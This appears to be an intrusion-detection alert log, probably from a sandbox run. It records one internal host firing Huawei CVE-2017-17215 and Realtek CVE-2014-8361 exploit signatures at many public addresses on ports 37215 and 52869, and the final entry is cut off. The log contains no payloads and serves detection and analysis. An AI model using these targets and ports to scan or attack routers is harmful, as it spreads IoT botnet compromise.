Timestamp:	07/20/24-23:01:02.048367
SID:	2829579
Source Port:	42542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 110.158.170.123

Timestamp:	07/20/24-23:01:48.958887
SID:	2831300
Source Port:	43122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 140.34.44.126

Timestamp:	07/20/24-23:01:00.637175
SID:	2829579
Source Port:	59906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 217.255.162.70

Timestamp:	07/20/24-23:01:59.302806
SID:	2027339
Source Port:	38432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.40.222.217

Timestamp:	07/20/24-23:01:14.049603
SID:	2829579
Source Port:	45854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.37.144.8

Timestamp:	07/20/24-23:00:59.203960
SID:	2835222
Source Port:	49544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.133.156.16

Timestamp:	07/20/24-23:01:46.261793
SID:	2027339
Source Port:	39266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.252.195.82

Timestamp:	07/20/24-23:01:59.745622
SID:	2027339
Source Port:	41978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.8.238.183

Timestamp:	07/20/24-23:01:42.928503
SID:	2027339
Source Port:	35990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.40.74.15

Timestamp:	07/20/24-23:01:24.459589
SID:	2027339
Source Port:	43272
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.195.52.119

Timestamp:	07/20/24-23:01:31.986571
SID:	2829579
Source Port:	41958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.149.9.235

Timestamp:	07/20/24-23:01:04.050503
SID:	2829579
Source Port:	52282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 197.85.104.215

Timestamp:	07/20/24-23:01:41.353334
SID:	2025132
Source Port:	39012
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.53.90.124

Timestamp:	07/20/24-23:01:07.016889
SID:	2829579
Source Port:	46684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.83.163.2

Timestamp:	07/20/24-23:01:34.044417
SID:	2835222
Source Port:	38864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.138.195.141

Timestamp:	07/20/24-23:01:47.987185
SID:	2027339
Source Port:	34106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.95.192.176

Timestamp:	07/20/24-23:01:41.699842
SID:	2027339
Source Port:	57614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.196.203.133

Timestamp:	07/20/24-23:01:41.494999
SID:	2027339
Source Port:	44172
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.73.14

Timestamp:	07/20/24-23:01:00.639093
SID:	2835222
Source Port:	53158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 34.4.8.9

Timestamp:	07/20/24-23:01:07.082045
SID:	2829579
Source Port:	49214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.147.36.143

Timestamp:	07/20/24-23:01:43.110964
SID:	2027339
Source Port:	46540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.30.132.8

Timestamp:	07/20/24-23:01:02.117244
SID:	2025132
Source Port:	35798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.130.132.139

Timestamp:	07/20/24-23:01:01.901550
SID:	2027339
Source Port:	33518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.249.111.18

Timestamp:	07/20/24-23:01:41.295718
SID:	2027339
Source Port:	51266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.124.32.89

Timestamp:	07/20/24-23:01:41.279073
SID:	2027339
Source Port:	57644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 220.17.179.230

Timestamp:	07/20/24-23:01:42.250039
SID:	2831300
Source Port:	55558
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.221.214.48

Timestamp:	07/20/24-23:01:46.871315
SID:	2027339
Source Port:	47422
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.94.222.156

Timestamp:	07/20/24-23:01:53.581574
SID:	2027339
Source Port:	55926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.0.98.90

Timestamp:	07/20/24-23:01:02.355712
SID:	2027339
Source Port:	33494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.150.161.105

Timestamp:	07/20/24-23:01:45.713934
SID:	2027339
Source Port:	37610
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.84.136.136

Timestamp:	07/20/24-23:01:59.356106
SID:	2025132
Source Port:	50206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 172.233.108.76

Timestamp:	07/20/24-23:01:42.131607
SID:	2025132
Source Port:	50228
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 137.161.38.152

Timestamp:	07/20/24-23:01:40.334452
SID:	2829579
Source Port:	51350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 131.199.217.59

Timestamp:	07/20/24-23:01:01.189596
SID:	2025132
Source Port:	49348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 98.114.190.226

Timestamp:	07/20/24-23:01:24.884598
SID:	2829579
Source Port:	55218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 200.107.251.119

Timestamp:	07/20/24-23:01:42.809716
SID:	2025132
Source Port:	55558
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.85.2.136

Timestamp:	07/20/24-23:02:02.291967
SID:	2027339
Source Port:	57042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 47.210.130.207

Timestamp:	07/20/24-23:01:20.150638
SID:	2835222
Source Port:	43764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.28.251.253

Timestamp:	07/20/24-23:01:00.636533
SID:	2835222
Source Port:	59666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.12.203.6

Timestamp:	07/20/24-23:01:00.641498
SID:	2835222
Source Port:	51062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.84.128.158

Timestamp:	07/20/24-23:01:14.203011
SID:	2835222
Source Port:	52244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.71.115.72

Timestamp:	07/20/24-23:01:52.038834
SID:	2027339
Source Port:	45048
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.52.197.149

Timestamp:	07/20/24-23:02:11.703257
SID:	2027339
Source Port:	51836
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 175.24.153.194

Timestamp:	07/20/24-23:01:08.683684
SID:	2831300
Source Port:	59490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 213.27.181.202

Timestamp:	07/20/24-23:01:12.806645
SID:	2831300
Source Port:	40080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.32.150.55

Timestamp:	07/20/24-23:01:01.437626
SID:	2027339
Source Port:	60144
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 44.70.248.184

Timestamp:	07/20/24-23:01:01.805210
SID:	2025132
Source Port:	55998
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.139.241.135

Timestamp:	07/20/24-23:01:43.474436
SID:	2027339
Source Port:	41066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.7.32.204

Timestamp:	07/20/24-23:01:08.599362
SID:	2027339
Source Port:	51788
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.49.83.49

Timestamp:	07/20/24-23:01:27.651187
SID:	2835222
Source Port:	49850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.229.67.72

Timestamp:	07/20/24-23:01:44.991829
SID:	2027339
Source Port:	34298
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 206.248.87.37

Timestamp:	07/20/24-23:01:03.958922
SID:	2025132
Source Port:	60076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.229.67.72

Timestamp:	07/20/24-23:01:42.641430
SID:	2025132
Source Port:	33448
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 27.150.162.76

Timestamp:	07/20/24-23:01:13.604911
SID:	2025132
Source Port:	45406
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.162.151.3

Timestamp:	07/20/24-23:01:42.129029
SID:	2025132
Source Port:	40978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.67.22.235

Timestamp:	07/20/24-23:01:40.279669
SID:	2835222
Source Port:	56928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 166.230.251.127

Timestamp:	07/20/24-23:01:24.934977
SID:	2829579
Source Port:	34426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.112.123.1

Timestamp:	07/20/24-23:01:00.645186
SID:	2835222
Source Port:	42260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.43.74.118

Timestamp:	07/20/24-23:01:25.146493
SID:	2027339
Source Port:	45846
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.5.169.228

Timestamp:	07/20/24-23:01:02.064358
SID:	2835222
Source Port:	53606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.109.141.179

Timestamp:	07/20/24-23:01:32.046652
SID:	2835222
Source Port:	42354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 173.71.226.225

Timestamp:	07/20/24-23:01:41.960623
SID:	2025132
Source Port:	53334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 218.132.145.180

Timestamp:	07/20/24-23:01:27.749737
SID:	2835222
Source Port:	52906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 99.202.196.168

Timestamp:	07/20/24-23:01:40.286738
SID:	2829579
Source Port:	35292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.34.158.231

Timestamp:	07/20/24-23:01:04.014688
SID:	2835222
Source Port:	58962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.42.34.219

Timestamp:	07/20/24-23:01:43.243465
SID:	2027339
Source Port:	57270
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 70.148.71.209

Timestamp:	07/20/24-23:01:08.693187
SID:	2831300
Source Port:	60750
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 176.251.98.66

Timestamp:	07/20/24-23:01:02.054387
SID:	2835222
Source Port:	43712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 4.66.151.191

Timestamp:	07/20/24-23:01:43.938688
SID:	2025132
Source Port:	49812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 124.13.0.132

Timestamp:	07/20/24-23:01:42.984532
SID:	2025132
Source Port:	40688
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.178.90.216

Timestamp:	07/20/24-23:01:02.048214
SID:	2835222
Source Port:	54670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 14.190.237.146

Timestamp:	07/20/24-23:01:55.572517
SID:	2831300
Source Port:	43378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.238.134.176

Timestamp:	07/20/24-23:01:31.325694
SID:	2027339
Source Port:	40536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 173.71.226.225

Timestamp:	07/20/24-23:01:44.038410
SID:	2831300
Source Port:	54114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 47.7.162.229

Timestamp:	07/20/24-23:00:57.221190
SID:	2835222
Source Port:	42650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 128.19.87.235

Timestamp:	07/20/24-23:01:27.677519
SID:	2829579
Source Port:	34452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 158.212.171.84

Timestamp:	07/20/24-23:01:41.419124
SID:	2025132
Source Port:	36358
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.12.62.22

Timestamp:	07/20/24-23:01:24.886284
SID:	2829579
Source Port:	56316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.229.227.49

Timestamp:	07/20/24-23:01:00.633633
SID:	2829579
Source Port:	37138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.217.4.188

Timestamp:	07/20/24-23:01:11.662969
SID:	2835222
Source Port:	51076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.9.206.193

Timestamp:	07/20/24-23:01:41.399866
SID:	2027339
Source Port:	44106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 54.250.222.170

Timestamp:	07/20/24-23:01:41.354321
SID:	2025132
Source Port:	36176
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 23.185.211.99

Timestamp:	07/20/24-23:01:49.097048
SID:	2025132
Source Port:	44602
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.213.208.19

Timestamp:	07/20/24-23:01:45.109958
SID:	2027339
Source Port:	36090
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 189.55.165.96

Timestamp:	07/20/24-23:02:09.148759
SID:	2831300
Source Port:	60412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 164.236.243.93

Timestamp:	07/20/24-23:01:08.620788
SID:	2831300
Source Port:	57014
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 13.18.63.141

Timestamp:	07/20/24-23:01:08.572790
SID:	2831300
Source Port:	49150
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.134.98.50

Timestamp:	07/20/24-23:01:08.606848
SID:	2027339
Source Port:	53660
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 115.35.215.139

Timestamp:	07/20/24-23:01:08.585790
SID:	2831300
Source Port:	33446
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 197.168.237.206

Timestamp:	07/20/24-23:01:41.991545
SID:	2025132
Source Port:	47412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 106.204.29.126

Timestamp:	07/20/24-23:01:42.718842
SID:	2831300
Source Port:	35816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 200.250.178.79

Timestamp:	07/20/24-23:01:49.794519
SID:	2027339
Source Port:	50970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 102.134.118.47

Timestamp:	07/20/24-23:01:41.909668
SID:	2831300
Source Port:	37660
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.214.240.131

Timestamp:	07/20/24-23:00:57.221367
SID:	2835222
Source Port:	52450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.78.161.123

Timestamp:	07/20/24-23:01:59.745622
SID:	2027339
Source Port:	38058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 182.119.21.176

Timestamp:	07/20/24-23:02:05.547419
SID:	2025132
Source Port:	55264
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 109.170.40.38

Timestamp:	07/20/24-23:01:44.856714
SID:	2025132
Source Port:	34874
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.131.219.214

Timestamp:	07/20/24-23:01:31.979752
SID:	2829579
Source Port:	45060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.7.216.73

Timestamp:	07/20/24-23:01:43.023857
SID:	2027339
Source Port:	42610
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 59.106.145.113

Timestamp:	07/20/24-23:01:47.307063
SID:	2025132
Source Port:	49106
Destination Port:	52869
Protocol:	TCP
